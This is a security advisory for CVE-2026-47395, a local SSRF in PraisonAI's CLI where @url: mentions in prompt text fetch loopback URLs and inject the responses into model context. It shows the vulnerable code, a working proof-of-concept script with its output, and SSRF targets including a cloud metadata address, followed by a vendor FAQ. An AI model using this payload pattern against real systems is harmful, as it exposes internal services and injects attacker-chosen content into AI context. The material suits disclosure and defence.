CVE-2026-47395

PraisonAI's direct-prompt CLI automatically expands @url: mentions in raw prompt text before agent execution begins.

If a prompt contains @url:<http-or-https-url>, the CLI calls MentionsParser.process(...). The @url: handler then performs a direct urllib.request.urlopen() request to the attacker-controlled URL and returns the response body. That response body is prepended to the final model prompt context.

There is no loopback/private-address restriction, no metadata-service restriction, and no approval gate before the fetch.

As a result, attacker-influenced prompt text can cause the operator's machine to fetch localhost-only HTTP resources and inject the response into model context.

Example:

@url:http://localhost.:8766/ summarize this

This causes PraisonAI to make an HTTP request to the local machine and prepend the fetched response body to the prompt that the model receives.

This is a narrow local SSRF / local content disclosure issue in automatic prompt preprocessing. It is not a remote server takeover.

Details

The affected direct-prompt CLI path is in:

src/praisonai/praisonai/cli/main.py

The CLI imports and instantiates MentionsParser on the direct prompt path:

from praisonaiagents.tools.mentions import MentionsParser

parser = MentionsParser(workspace_path=os.getcwd())

if parser.has_mentions(prompt):
    mention_context, prompt = parser.process(prompt)

if mention_context:
    prompt = f"{mention_context}# Task:\n{prompt}"

This means raw prompt text is interpreted as a mention language before query rewriting, prompt expansion, tool execution, or LLM invocation.

The affected mention implementation is in:

src/praisonai-agents/praisonaiagents/tools/mentions.py

@url: is a first-class mention type:

PATTERNS = {
    "file": re.compile(r'@file:([^\s]+)'),
    "web": re.compile(r'@web:([^\s]+(?:\s+[^\s@]+)*)'),
    "doc": re.compile(r'@doc:([^\s]+)'),
    "rule": re.compile(r'@rule:([^\s]+)'),
    "url": re.compile(r'@url:(https?://[^\s]+)'),
}

The URL mention handler performs an unrestricted HTTP request:

req = urllib.request.Request(
    url,
    headers={'User-Agent': 'Mozilla/5.0 (compatible; PraisonAI/1.0)'}
)

with urllib.request.urlopen(req, timeout=10) as response:
    content = response.read().decode('utf-8', errors='ignore')

There is no validation rejecting:

127.0.0.1
localhost
localhost.
private RFC1918 addresses
link-local addresses
cloud metadata endpoints
other local-only HTTP services

The returned body is added to the generated mention context and then prepended to the prompt.

The resulting chain is:

attacker-influenced prompt text
  -> @url:http://localhost.:8766/
  -> direct-prompt CLI calls MentionsParser.process(...)
  -> _process_url_mention(...)
  -> urllib.request.urlopen(attacker URL)
  -> loopback HTTP response body is read
  -> response body is injected into model prompt context

PoC

The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8766, passes a prompt containing @url:http://localhost.:8766/ through the real MentionsParser.process(...) implementation, and confirms that the local response body is injected into the generated prompt context.

Full PoC

#!/usr/bin/env python3
"""Self-contained local replay for PraisonAI CLI @url mention loopback fetch."""

from __future__ import annotations

import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
PRAISON_ROOT = REPO_ROOT / "src" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
CLI_MAIN = PRAISON_ROOT / "praisonai/cli/main.py"
MENTIONS = AGENTS_ROOT / "praisonaiagents/tools/mentions.py"


def verify_source() -> None:
    expected = {
        CLI_MAIN: [
            "from praisonaiagents.tools.mentions import MentionsParser",
            "if parser.has_mentions(prompt):",
            "mention_context, prompt = parser.process(prompt)",
            'prompt = f"{mention_context}# Task:\\n{prompt}"',
        ],
        MENTIONS: [
            '"url": re.compile(r\'@url:(https?://[^\\s]+)\')',
            "def _process_url_mention(self, url: str) -> Optional[str]:",
            "with urllib.request.urlopen(req, timeout=10) as response:",
        ],
    }

    for path, needles in expected.items():
        text = path.read_text(encoding="utf-8")
        for needle in needles:
            if needle not in text:
                raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")


class _Handler(BaseHTTPRequestHandler):
    hits: list[tuple[str, str | None]] = []
    body = b"<html><body>secret-local-page</body></html>"

    def do_GET(self) -> None:  # noqa: N802
        self.__class__.hits.append((self.path, self.headers.get("Host")))
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, format: str, *args) -> None:  # noqa: A003
        return


def main() -> int:
    if not CLI_MAIN.exists() or not MENTIONS.exists():
        raise SystemExit("missing local PraisonAI source tree")

    verify_source()

    sys.path.insert(0, str(AGENTS_ROOT))
    from praisonaiagents.tools.mentions import MentionsParser

    _Handler.hits.clear()

    server = HTTPServer(("127.0.0.1", 8766), _Handler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()

    try:
        parser = MentionsParser(workspace_path="/tmp")
        context, cleaned = parser.process("@url:http://localhost.:8766/ summarize this")
    finally:
        server.shutdown()
        server.server_close()
        thread.join(timeout=1)

    print("[poc] cli_path_verified=yes")
    print("[poc] mention_impl_verified=yes")
    print(f"[poc] cleaned_prompt={cleaned}")
    print(f"[poc] loopback_hit_count={len(_Handler.hits)}")

    if _Handler.hits:
        print(f"[poc] loopback_host={_Handler.hits[0][1]}")

    print(f"[poc] context_contains_secret={'secret-local-page' in context}")

    if cleaned != "summarize this":
        raise SystemExit(f"[poc] MISS: unexpected cleaned prompt {cleaned!r}")

    if not _Handler.hits:
        raise SystemExit("[poc] MISS: no loopback HTTP request observed")

    if "secret-local-page" not in context:
        raise SystemExit("[poc] MISS: local response body was not injected into prompt context")

    print("[poc] HIT: @url mention fetched loopback content and injected it into prompt context")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Observed output

[poc] cli_path_verified=yes
[poc] mention_impl_verified=yes
[poc] cleaned_prompt=summarize this
[poc] loopback_hit_count=1
[poc] loopback_host=localhost.:8766
[poc] context_contains_secret=True
[poc] HIT: @url mention fetched loopback content and injected it into prompt context

Expected secure behavior

A prompt-borne @url: mention should not be able to read loopback or private-network resources by default.

At minimum, the following should be rejected before any HTTP request is made:

http://127.0.0.1/
http://localhost/
http://localhost./
http://169.254.169.254/
private RFC1918 addresses
link-local addresses

Actual vulnerable behavior

The loopback request succeeds, and the returned local content is inserted into the generated prompt context.

An attacker who can influence prompt text passed to PraisonAI's direct-prompt CLI can cause the operator's machine to perform local HTTP requests and inject the fetched response body into the model prompt context.

Potential impact includes:

• reading localhost-only HTTP resources;
• reading local dashboards, admin panels, development servers, or internal web services bound to loopback;
• exposing fetched local content to the model prompt;
• exposing fetched local content through downstream logs, traces, model output, or agent memory depending on the operator workflow.

This report does not claim unauthenticated remote server takeover. The attacker must influence the prompt text that an operator runs with the direct-prompt CLI.

CVE-2026-47395 has a CVSS score of 5.5 (Medium). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.40, 4.6.40); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-47395? CVE-2026-47395 is a medium-severity security vulnerability in praisonaiagents (pip), affecting versions <= 1.6.39. It is fixed in 1.6.40, 4.6.40.
2. How severe is CVE-2026-47395? CVE-2026-47395 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-47395?
   • praisonaiagents (pip) (versions <= 1.6.39)
   • PraisonAI (pip) (versions <= 4.6.39)
4. Is there a fix for CVE-2026-47395? Yes. CVE-2026-47395 is fixed in 1.6.40, 4.6.40. Upgrade to this version or later.
5. Is CVE-2026-47395 exploitable, and should I be worried? Whether CVE-2026-47395 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47395 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47395?
   • Upgrade praisonaiagents to 1.6.40 or later
   • Upgrade PraisonAI to 4.6.40 or later